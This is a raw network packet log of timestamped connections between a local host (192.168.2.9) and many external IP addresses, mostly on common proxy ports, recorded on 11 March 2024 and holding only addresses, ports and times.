Mar 11, 2024 15:21:03.121985912 CET	50583	65110	192.168.2.9	125.229.149.168
Mar 11, 2024 15:21:03.121992111 CET	50586	8080	192.168.2.9	190.103.61.254
Mar 11, 2024 15:21:03.121993065 CET	50591	8182	192.168.2.9	103.132.54.41
Mar 11, 2024 15:21:03.121995926 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.122008085 CET	50596	8080	192.168.2.9	94.153.252.170
Mar 11, 2024 15:21:03.122009993 CET	50598	5212	192.168.2.9	45.11.95.165
Mar 11, 2024 15:21:03.122009993 CET	50601	44437	192.168.2.9	207.180.234.220
Mar 11, 2024 15:21:03.122010946 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.122019053 CET	50622	8080	192.168.2.9	102.68.128.215
Mar 11, 2024 15:21:03.122020006 CET	50595	80	192.168.2.9	162.214.165.203
Mar 11, 2024 15:21:03.122020006 CET	50632	20037	192.168.2.9	64.44.139.12
Mar 11, 2024 15:21:03.122020960 CET	49941	8123	192.168.2.9	20.205.61.143
Mar 11, 2024 15:21:03.122031927 CET	50634	3128	192.168.2.9	39.106.60.216
Mar 11, 2024 15:21:03.122031927 CET	50608	8080	192.168.2.9	103.234.159.5
Mar 11, 2024 15:21:03.122031927 CET	50722	5678	192.168.2.9	79.127.35.243
Mar 11, 2024 15:21:03.122033119 CET	50612	8080	192.168.2.9	41.180.70.2
Mar 11, 2024 15:21:03.122044086 CET	50624	3128	192.168.2.9	59.15.28.76
Mar 11, 2024 15:21:03.122059107 CET	50627	50509	192.168.2.9	162.214.163.137
Mar 11, 2024 15:21:03.122067928 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.122068882 CET	50604	1080	192.168.2.9	123.25.116.228
Mar 11, 2024 15:21:03.122071981 CET	50626	4145	192.168.2.9	45.112.125.53
Mar 11, 2024 15:21:03.122071981 CET	50424	31147	192.168.2.9	209.121.164.50
Mar 11, 2024 15:21:03.122071981 CET	50629	8089	192.168.2.9	183.91.80.194
Mar 11, 2024 15:21:03.122287035 CET	50630	9091	192.168.2.9	103.112.128.37
Mar 11, 2024 15:21:03.122561932 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.122575998 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.122613907 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.122623920 CET	50424	31147	192.168.2.9	209.121.164.50
Mar 11, 2024 15:21:03.122673035 CET	50424	31147	192.168.2.9	209.121.164.50
Mar 11, 2024 15:21:03.122683048 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.122697115 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.122746944 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.122750044 CET	50424	31147	192.168.2.9	209.121.164.50
Mar 11, 2024 15:21:03.122778893 CET	8081	51071	79.110.201.235	192.168.2.9
Mar 11, 2024 15:21:03.122911930 CET	8080	50803	5.78.44.6	192.168.2.9
Mar 11, 2024 15:21:03.123004913 CET	3129	50248	20.219.235.172	192.168.2.9
Mar 11, 2024 15:21:03.123018980 CET	8081	51071	79.110.201.235	192.168.2.9
Mar 11, 2024 15:21:03.123030901 CET	8081	51071	79.110.201.235	192.168.2.9
Mar 11, 2024 15:21:03.123872042 CET	51071	8081	192.168.2.9	79.110.201.235
Mar 11, 2024 15:21:03.125001907 CET	4145	50341	119.18.152.139	192.168.2.9
Mar 11, 2024 15:21:03.125914097 CET	80	51303	104.19.85.214	192.168.2.9
Mar 11, 2024 15:21:03.125996113 CET	51303	80	192.168.2.9	104.19.85.214
Mar 11, 2024 15:21:03.126313925 CET	80	51304	104.16.105.142	192.168.2.9
Mar 11, 2024 15:21:03.126416922 CET	51304	80	192.168.2.9	104.16.105.142
Mar 11, 2024 15:21:03.126756907 CET	50576	3128	192.168.2.9	130.162.213.175
Mar 11, 2024 15:21:03.126960039 CET	51071	8081	192.168.2.9	79.110.201.235
Mar 11, 2024 15:21:03.127863884 CET	51303	80	192.168.2.9	104.19.85.214
Mar 11, 2024 15:21:03.127891064 CET	4145	51245	174.64.199.82	192.168.2.9
Mar 11, 2024 15:21:03.128021002 CET	51245	4145	192.168.2.9	174.64.199.82
Mar 11, 2024 15:21:03.128247023 CET	51304	80	192.168.2.9	104.16.105.142
Mar 11, 2024 15:21:03.129185915 CET	29915	50657	72.10.164.178	192.168.2.9
Mar 11, 2024 15:21:03.129563093 CET	51041	8000	192.168.2.9	198.199.120.65
Mar 11, 2024 15:21:03.129708052 CET	80	50326	194.140.198.23	192.168.2.9
Mar 11, 2024 15:21:03.129838943 CET	50326	80	192.168.2.9	194.140.198.23
Mar 11, 2024 15:21:03.131102085 CET	5678	50386	113.160.227.166	192.168.2.9
Mar 11, 2024 15:21:03.131117105 CET	4145	51160	184.181.217.213	192.168.2.9
Mar 11, 2024 15:21:03.131118059 CET	51245	4145	192.168.2.9	174.64.199.82
Mar 11, 2024 15:21:03.131308079 CET	4145	51160	184.181.217.213	192.168.2.9
Mar 11, 2024 15:21:03.132452011 CET	8899	50678	8.217.95.44	192.168.2.9
Mar 11, 2024 15:21:03.133601904 CET	51535	49950	162.241.66.135	192.168.2.9
Mar 11, 2024 15:21:03.133797884 CET	8889	50032	216.176.187.99	192.168.2.9
Mar 11, 2024 15:21:03.133855104 CET	50032	8889	192.168.2.9	216.176.187.99
Mar 11, 2024 15:21:03.133943081 CET	33427	50371	91.135.80.66	192.168.2.9
Mar 11, 2024 15:21:03.135373116 CET	9375	49859	92.204.134.38	192.168.2.9
Mar 11, 2024 15:21:03.135590076 CET	52929	50613	92.204.134.38	192.168.2.9
Mar 11, 2024 15:21:03.137583971 CET	50639	7891	192.168.2.9	43.129.228.46
Mar 11, 2024 15:21:03.137612104 CET	51044	1645	192.168.2.9	72.10.164.178
Mar 11, 2024 15:21:03.137613058 CET	50628	24663	192.168.2.9	92.205.61.38
Mar 11, 2024 15:21:03.137639046 CET	49811	8080	192.168.2.9	84.241.8.234
Mar 11, 2024 15:21:03.137645960 CET	49734	3128	192.168.2.9	165.232.158.60
Mar 11, 2024 15:21:03.137669086 CET	51057	4145	192.168.2.9	142.54.239.1
Mar 11, 2024 15:21:03.137855053 CET	80	49838	50.168.163.182	192.168.2.9
Mar 11, 2024 15:21:03.137887955 CET	50862	44844	192.168.2.9	49.75.17.108
Mar 11, 2024 15:21:03.138258934 CET	8080	50809	5.78.89.192	192.168.2.9
Mar 11, 2024 15:21:03.138887882 CET	4145	51310	72.195.101.99	192.168.2.9
Mar 11, 2024 15:21:03.140058041 CET	51310	4145	192.168.2.9	72.195.101.99
Mar 11, 2024 15:21:03.140131950 CET	80	50550	50.218.57.66	192.168.2.9
Mar 11, 2024 15:21:03.140470982 CET	50326	80	192.168.2.9	194.140.198.23
Mar 11, 2024 15:21:03.142126083 CET	51383	4145	192.168.2.9	184.181.217.213
Mar 11, 2024 15:21:03.142237902 CET	5678	50411	80.90.83.191	192.168.2.9
Mar 11, 2024 15:21:03.144510031 CET	50424	31147	192.168.2.9	209.121.164.50
Mar 11, 2024 15:21:03.144846916 CET	9834	49842	91.241.131.179	192.168.2.9
Mar 11, 2024 15:21:03.144906998 CET	49842	9834	192.168.2.9	91.241.131.179
Mar 11, 2024 15:21:03.145000935 CET	49842	9834	192.168.2.9	91.241.131.179
Mar 11, 2024 15:21:03.145603895 CET	51384	35774	192.168.2.9	107.180.88.173
Mar 11, 2024 15:21:03.145606995 CET	51385	9834	192.168.2.9	91.241.131.179
Mar 11, 2024 15:21:03.146830082 CET	9834	49842	91.241.131.179	192.168.2.9
Mar 11, 2024 15:21:03.146848917 CET	80	50788	59.6.26.121	192.168.2.9
Mar 11, 2024 15:21:03.149462938 CET	8081	51105	185.49.31.207	192.168.2.9
Mar 11, 2024 15:21:03.149538994 CET	51105	8081	192.168.2.9	185.49.31.207
Mar 11, 2024 15:21:03.149697065 CET	51105	8081	192.168.2.9	185.49.31.207
Mar 11, 2024 15:21:03.150736094 CET	51386	8081	192.168.2.9	185.49.31.207
Mar 11, 2024 15:21:03.153207064 CET	50942	80	192.168.2.9	50.172.75.126
Mar 11, 2024 15:21:03.153213024 CET	49866	8080	192.168.2.9	125.212.231.220
Mar 11, 2024 15:21:03.153230906 CET	50688	8081	192.168.2.9	154.72.90.74
Mar 11, 2024 15:21:03.153229952 CET	50364	32233	192.168.2.9	162.214.170.144
Mar 11, 2024 15:21:03.153230906 CET	50649	9002	192.168.2.9	183.238.163.8
Mar 11, 2024 15:21:03.153234959 CET	50650	8080	192.168.2.9	91.107.203.75
Mar 11, 2024 15:21:03.153251886 CET	50642	87	192.168.2.9	72.169.67.61
Mar 11, 2024 15:21:03.153264999 CET	50640	8080	192.168.2.9	223.18.60.191
Mar 11, 2024 15:21:03.153357029 CET	50663	46983	192.168.2.9	132.148.167.231
Mar 11, 2024 15:21:03.153358936 CET	50653	8080	192.168.2.9	80.78.64.70
Mar 11, 2024 15:21:03.153379917 CET	50646	8080	192.168.2.9	213.230.107.235
Mar 11, 2024 15:21:03.153382063 CET	50664	8080	192.168.2.9	102.213.248.28
Mar 11, 2024 15:21:03.153809071 CET	10089	51145	147.75.92.251	192.168.2.9
Mar 11, 2024 15:21:03.153824091 CET	7777	51230	113.250.189.196	192.168.2.9
Mar 11, 2024 15:21:03.153844118 CET	51387	999	192.168.2.9	201.71.2.41
Mar 11, 2024 15:21:03.153893948 CET	51230	7777	192.168.2.9	113.250.189.196
Mar 11, 2024 15:21:03.154160023 CET	51230	7777	192.168.2.9	113.250.189.196
Mar 11, 2024 15:21:03.154387951 CET	51145	10089	192.168.2.9	147.75.92.251
Mar 11, 2024 15:21:03.154597044 CET	80	50617	20.210.113.32	192.168.2.9
Mar 11, 2024 15:21:03.155464888 CET	3128	50467	213.131.230.161	192.168.2.9
Mar 11, 2024 15:21:03.155483961 CET	49588	51317	192.169.244.80	192.168.2.9
Mar 11, 2024 15:21:03.155652046 CET	51317	49588	192.168.2.9	192.169.244.80
Mar 11, 2024 15:21:03.155993938 CET	51317	49588	192.168.2.9	192.169.244.80
Mar 11, 2024 15:21:03.156604052 CET	4153	50336	45.226.48.6	192.168.2.9
Mar 11, 2024 15:21:03.159466982 CET	51388	5678	192.168.2.9	177.10.193.82
Mar 11, 2024 15:21:03.159919977 CET	51389	63722	192.168.2.9	164.92.237.188
Mar 11, 2024 15:21:03.161015034 CET	10235	50699	72.10.164.178	192.168.2.9
Mar 11, 2024 15:21:03.161667109 CET	19001	50508	8.210.8.157	192.168.2.9
Mar 11, 2024 15:21:03.161815882 CET	80	51251	50.169.37.50	192.168.2.9
Mar 11, 2024 15:21:03.164362907 CET	51390	40840	192.168.2.9	94.181.33.149
Mar 11, 2024 15:21:03.164858103 CET	4153	51074	152.32.84.108	192.168.2.9
Mar 11, 2024 15:21:03.164930105 CET	51074	4153	192.168.2.9	152.32.84.108
Mar 11, 2024 15:21:03.164953947 CET	80	50549	50.174.7.157	192.168.2.9
Mar 11, 2024 15:21:03.165041924 CET	51074	4153	192.168.2.9	152.32.84.108
Mar 11, 2024 15:21:03.165326118 CET	51391	999	192.168.2.9	190.120.249.180
Mar 11, 2024 15:21:03.165656090 CET	51392	4153	192.168.2.9	152.32.84.108
Mar 11, 2024 15:21:03.165710926 CET	51393	14791	192.168.2.9	66.228.33.190
Mar 11, 2024 15:21:03.166642904 CET	3128	49715	122.155.165.191	192.168.2.9
Mar 11, 2024 15:21:03.167149067 CET	80	51149	121.128.194.154	192.168.2.9
Mar 11, 2024 15:21:03.167208910 CET	51149	80	192.168.2.9	121.128.194.154
Mar 11, 2024 15:21:03.167289019 CET	51149	80	192.168.2.9	121.128.194.154
Mar 11, 2024 15:21:03.167380095 CET	8197	50732	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:03.168075085 CET	51394	80	192.168.2.9	121.128.194.154
Mar 11, 2024 15:21:03.168603897 CET	51395	3128	192.168.2.9	51.79.249.186
Mar 11, 2024 15:21:03.168744087 CET	51396	10004	192.168.2.9	119.28.74.177
Mar 11, 2024 15:21:03.168829918 CET	51087	80	192.168.2.9	50.207.199.83
Mar 11, 2024 15:21:03.168838024 CET	80	50676	119.196.168.183	192.168.2.9
Mar 11, 2024 15:21:03.168842077 CET	50965	80	192.168.2.9	50.174.145.11
Mar 11, 2024 15:21:03.168847084 CET	50644	8080	192.168.2.9	183.88.212.184
Mar 11, 2024 15:21:03.168864012 CET	50652	5678	192.168.2.9	203.160.57.87
Mar 11, 2024 15:21:03.168875933 CET	50643	80	192.168.2.9	27.96.235.171
Mar 11, 2024 15:21:03.168875933 CET	50666	1981	192.168.2.9	41.254.53.70
Mar 11, 2024 15:21:03.168883085 CET	50655	26545	192.168.2.9	51.89.173.40
Mar 11, 2024 15:21:03.168884039 CET	50106	5881	192.168.2.9	67.43.236.20
Mar 11, 2024 15:21:03.168886900 CET	50648	8080	192.168.2.9	185.208.101.216
Mar 11, 2024 15:21:03.168893099 CET	50660	2016	192.168.2.9	103.83.178.205
Mar 11, 2024 15:21:03.168896914 CET	50656	42312	192.168.2.9	148.72.23.56
Mar 11, 2024 15:21:03.168896914 CET	50673	8080	192.168.2.9	103.154.146.66
Mar 11, 2024 15:21:03.168910027 CET	50675	8081	192.168.2.9	154.239.3.185
Mar 11, 2024 15:21:03.168912888 CET	49971	8080	192.168.2.9	78.47.103.89
Mar 11, 2024 15:21:03.168914080 CET	50667	83	192.168.2.9	103.215.207.85
Mar 11, 2024 15:21:03.168914080 CET	50668	80	192.168.2.9	146.70.80.76
Mar 11, 2024 15:21:03.168984890 CET	47152	51151	217.23.11.194	192.168.2.9
Mar 11, 2024 15:21:03.169040918 CET	47152	51151	217.23.11.194	192.168.2.9
Mar 11, 2024 15:21:03.172116041 CET	51397	8450	192.168.2.9	192.99.169.19
Mar 11, 2024 15:21:03.172271967 CET	80	51243	119.196.168.183	192.168.2.9
Mar 11, 2024 15:21:03.172338963 CET	51243	80	192.168.2.9	119.196.168.183
Mar 11, 2024 15:21:03.172658920 CET	51243	80	192.168.2.9	119.196.168.183
Mar 11, 2024 15:21:03.172821045 CET	55019	51282	92.204.135.37	192.168.2.9
Mar 11, 2024 15:21:03.172986984 CET	51282	55019	192.168.2.9	92.204.135.37
Mar 11, 2024 15:21:03.173157930 CET	51282	55019	192.168.2.9	92.204.135.37
Mar 11, 2024 15:21:03.173779011 CET	17538	50260	202.165.38.185	192.168.2.9
Mar 11, 2024 15:21:03.173793077 CET	3128	50349	18.135.133.116	192.168.2.9
Mar 11, 2024 15:21:03.175565958 CET	80	51289	50.204.219.225	192.168.2.9
Mar 11, 2024 15:21:03.175853014 CET	15280	50334	184.178.172.18	192.168.2.9
Mar 11, 2024 15:21:03.175947905 CET	50334	15280	192.168.2.9	184.178.172.18
Mar 11, 2024 15:21:03.176168919 CET	50334	15280	192.168.2.9	184.178.172.18
Mar 11, 2024 15:21:03.176285028 CET	80	51149	121.128.194.154	192.168.2.9
Mar 11, 2024 15:21:03.176553965 CET	51398	8104	192.168.2.9	196.251.221.2
Mar 11, 2024 15:21:03.176613092 CET	80	50689	8.211.4.215	192.168.2.9
Mar 11, 2024 15:21:03.176836014 CET	80	50788	59.6.26.121	192.168.2.9
Mar 11, 2024 15:21:03.177819967 CET	14066	50351	139.59.90.148	192.168.2.9
Mar 11, 2024 15:21:03.179366112 CET	1080	50941	13.234.24.116	192.168.2.9
Mar 11, 2024 15:21:03.181298971 CET	1080	50941	13.234.24.116	192.168.2.9
Mar 11, 2024 15:21:03.181688070 CET	50941	1080	192.168.2.9	13.234.24.116
Mar 11, 2024 15:21:03.182894945 CET	8899	50678	8.217.95.44	192.168.2.9
Mar 11, 2024 15:21:03.183002949 CET	80	50978	52.196.1.182	192.168.2.9
Mar 11, 2024 15:21:03.184458017 CET	50494	80	192.168.2.9	123.126.158.50
Mar 11, 2024 15:21:03.184475899 CET	50671	80	192.168.2.9	191.101.234.75
Mar 11, 2024 15:21:03.184493065 CET	51016	80	192.168.2.9	50.223.246.226
Mar 11, 2024 15:21:03.184493065 CET	51001	80	192.168.2.9	50.174.7.159
Mar 11, 2024 15:21:03.184497118 CET	50680	8899	192.168.2.9	117.160.250.130
Mar 11, 2024 15:21:03.184499025 CET	50674	33633	192.168.2.9	190.109.72.10
Mar 11, 2024 15:21:03.184499025 CET	51113	4145	192.168.2.9	206.220.175.2
Mar 11, 2024 15:21:03.184499025 CET	50679	5678	192.168.2.9	103.130.112.253
Mar 11, 2024 15:21:03.184509993 CET	50687	80	192.168.2.9	203.243.63.16
Mar 11, 2024 15:21:03.184520006 CET	50685	8181	192.168.2.9	69.160.223.33
Mar 11, 2024 15:21:03.184520006 CET	50905	3080	192.168.2.9	149.154.69.203
Mar 11, 2024 15:21:03.184520006 CET	50686	8080	192.168.2.9	62.89.9.10
Mar 11, 2024 15:21:03.184528112 CET	51069	7117	192.168.2.9	67.43.236.20
Mar 11, 2024 15:21:03.184618950 CET	80	51200	104.21.64.208	192.168.2.9
Mar 11, 2024 15:21:03.186017990 CET	4145	50291	101.51.196.145	192.168.2.9
Mar 11, 2024 15:21:03.186768055 CET	51718	49952	51.222.241.157	192.168.2.9
Mar 11, 2024 15:21:03.187160969 CET	80	50914	43.231.22.228	192.168.2.9
Mar 11, 2024 15:21:03.187273979 CET	80	50914	43.231.22.228	192.168.2.9
Mar 11, 2024 15:21:03.187287092 CET	80	50914	43.231.22.228	192.168.2.9
Mar 11, 2024 15:21:03.187334061 CET	50914	80	192.168.2.9	43.231.22.228
Mar 11, 2024 15:21:03.187397003 CET	80	51211	104.17.171.79	192.168.2.9
Mar 11, 2024 15:21:03.188241959 CET	80	50870	165.231.101.229	192.168.2.9
Mar 11, 2024 15:21:03.189163923 CET	8899	51246	8.217.95.44	192.168.2.9
Mar 11, 2024 15:21:03.189237118 CET	51246	8899	192.168.2.9	8.217.95.44
Mar 11, 2024 15:21:03.189373970 CET	4145	50390	98.181.137.80	192.168.2.9
Mar 11, 2024 15:21:03.189455986 CET	50390	4145	192.168.2.9	98.181.137.80
Mar 11, 2024 15:21:03.191586971 CET	8197	50732	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:03.191960096 CET	32261	50746	72.10.160.171	192.168.2.9
Mar 11, 2024 15:21:03.191973925 CET	4145	51176	72.210.221.223	192.168.2.9
Mar 11, 2024 15:21:03.192017078 CET	4145	51176	72.210.221.223	192.168.2.9
Mar 11, 2024 15:21:03.193030119 CET	50978	80	192.168.2.9	52.196.1.182
Mar 11, 2024 15:21:03.193240881 CET	50914	80	192.168.2.9	43.231.22.228
Mar 11, 2024 15:21:03.193805933 CET	51246	8899	192.168.2.9	8.217.95.44
Mar 11, 2024 15:21:03.194010973 CET	50390	4145	192.168.2.9	98.181.137.80
Mar 11, 2024 15:21:03.194283009 CET	8197	51249	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:03.194355965 CET	51249	8197	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:03.194808960 CET	51399	4145	192.168.2.9	72.210.221.223
Mar 11, 2024 15:21:03.195116043 CET	51249	8197	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:03.196259975 CET	80	51255	104.25.114.28	192.168.2.9
Mar 11, 2024 15:21:03.196379900 CET	80	51255	104.25.114.28	192.168.2.9
Mar 11, 2024 15:21:03.196492910 CET	80	51255	104.25.114.28	192.168.2.9
Mar 11, 2024 15:21:03.196573973 CET	51255	80	192.168.2.9	104.25.114.28
Mar 11, 2024 15:21:03.196862936 CET	51255	80	192.168.2.9	104.25.114.28
Mar 11, 2024 15:21:03.199213028 CET	80	51199	162.159.241.12	192.168.2.9
Mar 11, 2024 15:21:03.199227095 CET	80	50672	177.12.118.160	192.168.2.9
Mar 11, 2024 15:21:03.200089931 CET	51164	60283	192.168.2.9	164.92.86.113
Mar 11, 2024 15:21:03.200090885 CET	50692	3128	192.168.2.9	3.73.120.104
Mar 11, 2024 15:21:03.200104952 CET	50898	3629	192.168.2.9	14.115.106.116
Mar 11, 2024 15:21:03.200104952 CET	50698	32650	192.168.2.9	103.160.207.49
Mar 11, 2024 15:21:03.200104952 CET	50040	80	192.168.2.9	50.218.57.67
Mar 11, 2024 15:21:03.200105906 CET	50697	8080	192.168.2.9	102.214.104.56
Mar 11, 2024 15:21:03.200120926 CET	50695	4153	192.168.2.9	110.74.195.2
Mar 11, 2024 15:21:03.200125933 CET	50677	8080	192.168.2.9	103.247.21.98
Mar 11, 2024 15:21:03.200125933 CET	50136	80	192.168.2.9	50.168.72.117
Mar 11, 2024 15:21:03.200126886 CET	50702	51724	192.168.2.9	184.174.75.86
Mar 11, 2024 15:21:03.200129032 CET	50707	44809	192.168.2.9	66.228.33.190
Mar 11, 2024 15:21:03.200125933 CET	50682	59867	192.168.2.9	206.189.145.23
Mar 11, 2024 15:21:03.200130939 CET	50701	9994	192.168.2.9	45.233.169.40
Mar 11, 2024 15:21:03.200129032 CET	50708	999	192.168.2.9	181.119.67.130
Mar 11, 2024 15:21:03.200135946 CET	50000	3128	192.168.2.9	37.120.222.132
Mar 11, 2024 15:21:03.200144053 CET	50705	83	192.168.2.9	103.130.106.137
Mar 11, 2024 15:21:03.200154066 CET	50703	80	192.168.2.9	203.189.96.232
Mar 11, 2024 15:21:03.200154066 CET	50709	5020	192.168.2.9	182.160.100.156
Mar 11, 2024 15:21:03.200155020 CET	50694	8080	192.168.2.9	78.170.135.164
Mar 11, 2024 15:21:03.200156927 CET	50684	999	192.168.2.9	181.78.95.32
Mar 11, 2024 15:21:03.200160980 CET	50696	80	192.168.2.9	195.35.25.94
Mar 11, 2024 15:21:03.200160980 CET	50706	50207	192.168.2.9	162.241.79.22
Mar 11, 2024 15:21:03.200175047 CET	50712	54240	192.168.2.9	200.25.254.193
Mar 11, 2024 15:21:03.200231075 CET	50711	5678	192.168.2.9	181.57.194.28
Mar 11, 2024 15:21:03.200293064 CET	50713	23711	192.168.2.9	45.81.232.17
Mar 11, 2024 15:21:03.201422930 CET	51400	3128	192.168.2.9	103.174.108.42
Mar 11, 2024 15:21:03.202018023 CET	4145	50434	119.82.242.58	192.168.2.9
Mar 11, 2024 15:21:03.202032089 CET	8081	51105	185.49.31.207	192.168.2.9
Mar 11, 2024 15:21:03.202487946 CET	51401	8180	192.168.2.9	47.243.114.192
Mar 11, 2024 15:21:03.205713987 CET	80	50792	50.204.190.234	192.168.2.9
Mar 11, 2024 15:21:03.206022024 CET	80	50494	123.126.158.50	192.168.2.9
Mar 11, 2024 15:21:03.206846952 CET	8080	49991	187.157.243.254	192.168.2.9
Mar 11, 2024 15:21:03.206860065 CET	28549	50798	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:03.208095074 CET	5000	51102	49.228.131.169	192.168.2.9
Mar 11, 2024 15:21:03.208170891 CET	51102	5000	192.168.2.9	49.228.131.169
Mar 11, 2024 15:21:03.208323956 CET	51102	5000	192.168.2.9	49.228.131.169
Mar 11, 2024 15:21:03.209090948 CET	51402	5000	192.168.2.9	49.228.131.169
Mar 11, 2024 15:21:03.209517002 CET	1311	51312	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:03.211325884 CET	36181	51172	69.61.200.104	192.168.2.9
Mar 11, 2024 15:21:03.211339951 CET	8193	50871	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:03.211438894 CET	51172	36181	192.168.2.9	69.61.200.104
Mar 11, 2024 15:21:03.211452961 CET	8193	50871	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:03.211568117 CET	80	50619	50.174.7.153	192.168.2.9
Mar 11, 2024 15:21:03.211728096 CET	51172	36181	192.168.2.9	69.61.200.104
Mar 11, 2024 15:21:03.213031054 CET	50193	80	192.168.2.9	50.231.110.26
Mar 11, 2024 15:21:03.213068962 CET	50014	39533	192.168.2.9	167.172.109.12
Mar 11, 2024 15:21:03.213099003 CET	50710	63819	192.168.2.9	185.109.184.150
Mar 11, 2024 15:21:03.213164091 CET	50700	32052	192.168.2.9	37.228.65.107
Mar 11, 2024 15:21:03.213773966 CET	4145	50873	74.119.144.60	192.168.2.9
Mar 11, 2024 15:21:03.213788986 CET	8193	51266	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:03.213860035 CET	51266	8193	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:03.214075089 CET	51266	8193	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:03.215703011 CET	50717	4145	192.168.2.9	92.255.164.166
Mar 11, 2024 15:21:03.215704918 CET	50928	38351	192.168.2.9	115.75.5.17
Mar 11, 2024 15:21:03.215704918 CET	51110	80	192.168.2.9	50.168.72.119
Mar 11, 2024 15:21:03.215732098 CET	50704	8989	192.168.2.9	162.214.121.11
Mar 11, 2024 15:21:03.215732098 CET	50727	3629	192.168.2.9	185.215.53.241
Mar 11, 2024 15:21:03.215734959 CET	51120	12551	192.168.2.9	149.20.253.81
Mar 11, 2024 15:21:03.215734959 CET	49727	34455	192.168.2.9	162.241.66.135
Mar 11, 2024 15:21:03.215739012 CET	50718	8080	192.168.2.9	103.148.130.5
Mar 11, 2024 15:21:03.215743065 CET	50724	8080	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:03.215744972 CET	51151	47152	192.168.2.9	217.23.11.194
Mar 11, 2024 15:21:03.215748072 CET	50733	55555	192.168.2.9	144.24.77.90
Mar 11, 2024 15:21:03.215759993 CET	50349	3128	192.168.2.9	18.135.133.116
Mar 11, 2024 15:21:03.215759993 CET	50757	83	192.168.2.9	103.51.21.250
Mar 11, 2024 15:21:03.215760946 CET	50726	8080	192.168.2.9	113.161.59.136
Mar 11, 2024 15:21:03.215761900 CET	50752	13220	192.168.2.9	43.128.3.115
Mar 11, 2024 15:21:03.215765953 CET	50744	39652	192.168.2.9	139.162.238.184
Mar 11, 2024 15:21:03.215765953 CET	50728	4145	192.168.2.9	45.70.206.40
Mar 11, 2024 15:21:03.215765953 CET	50742	53783	192.168.2.9	162.241.46.54
Mar 11, 2024 15:21:03.215773106 CET	50740	1080	192.168.2.9	94.131.106.196
Mar 11, 2024 15:21:03.215811968 CET	50759	8080	192.168.2.9	200.32.51.179
Mar 11, 2024 15:21:03.215811968 CET	50762	4145	192.168.2.9	83.53.207.196
Mar 11, 2024 15:21:03.215914965 CET	8080	51072	54.223.158.88	192.168.2.9
Mar 11, 2024 15:21:03.217129946 CET	51403	9999	192.168.2.9	95.217.195.146
Mar 11, 2024 15:21:03.217432022 CET	51404	999	192.168.2.9	201.71.3.61
Mar 11, 2024 15:21:03.217895031 CET	51405	25525	192.168.2.9	162.19.7.61
Mar 11, 2024 15:21:03.218162060 CET	51406	3629	192.168.2.9	176.100.77.118
Mar 11, 2024 15:21:03.218225002 CET	51407	4145	192.168.2.9	159.192.240.90
Mar 11, 2024 15:21:03.218229055 CET	8080	51072	54.223.158.88	192.168.2.9
Mar 11, 2024 15:21:03.218395948 CET	51408	80	192.168.2.9	141.147.33.121
Mar 11, 2024 15:21:03.218461037 CET	3128	51168	84.39.112.144	192.168.2.9
Mar 11, 2024 15:21:03.218491077 CET	3128	51168	84.39.112.144	192.168.2.9
Mar 11, 2024 15:21:03.218509912 CET	51168	3128	192.168.2.9	84.39.112.144
Mar 11, 2024 15:21:03.218839884 CET	51168	3128	192.168.2.9	84.39.112.144
Mar 11, 2024 15:21:03.218871117 CET	51072	8080	192.168.2.9	54.223.158.88
Mar 11, 2024 15:21:03.219293118 CET	51409	63360	192.168.2.9	162.241.158.204
Mar 11, 2024 15:21:03.219527960 CET	51410	3128	192.168.2.9	155.50.208.37
Mar 11, 2024 15:21:03.219693899 CET	51411	3128	192.168.2.9	84.39.112.144
Mar 11, 2024 15:21:03.219835997 CET	51412	80	192.168.2.9	20.42.119.47
Mar 11, 2024 15:21:03.220000982 CET	51413	3129	192.168.2.9	47.93.52.36
Mar 11, 2024 15:21:03.221728086 CET	22847	50832	167.172.159.43	192.168.2.9
Mar 11, 2024 15:21:03.221746922 CET	4153	51074	152.32.84.108	192.168.2.9
Mar 11, 2024 15:21:03.222187996 CET	80	50829	50.168.72.118	192.168.2.9
Mar 11, 2024 15:21:03.222872972 CET	3091	50830	67.43.228.253	192.168.2.9
Mar 11, 2024 15:21:03.223038912 CET	4145	50631	162.253.68.97	192.168.2.9
Mar 11, 2024 15:21:03.223078966 CET	80	50205	80.228.235.6	192.168.2.9
Mar 11, 2024 15:21:03.223462105 CET	4145	50631	162.253.68.97	192.168.2.9
Mar 11, 2024 15:21:03.224280119 CET	51414	4145	192.168.2.9	162.253.68.97
Mar 11, 2024 15:21:03.224466085 CET	60433	50310	162.214.227.68	192.168.2.9
Mar 11, 2024 15:21:03.224524021 CET	50310	60433	192.168.2.9	162.214.227.68
Mar 11, 2024 15:21:03.224745989 CET	50310	60433	192.168.2.9	162.214.227.68
Mar 11, 2024 15:21:03.226409912 CET	80	51365	104.24.193.186	192.168.2.9
Mar 11, 2024 15:21:03.226449013 CET	4145	51313	184.170.249.65	192.168.2.9
Mar 11, 2024 15:21:03.226495981 CET	51365	80	192.168.2.9	104.24.193.186
Mar 11, 2024 15:21:03.226535082 CET	51313	4145	192.168.2.9	184.170.249.65
Mar 11, 2024 15:21:03.226857901 CET	51365	80	192.168.2.9	104.24.193.186
Mar 11, 2024 15:21:03.226876020 CET	46849	50475	162.241.46.69	192.168.2.9
Mar 11, 2024 15:21:03.226942062 CET	50475	46849	192.168.2.9	162.241.46.69
Mar 11, 2024 15:21:03.227022886 CET	51313	4145	192.168.2.9	184.170.249.65
Mar 11, 2024 15:21:03.227222919 CET	50475	46849	192.168.2.9	162.241.46.69
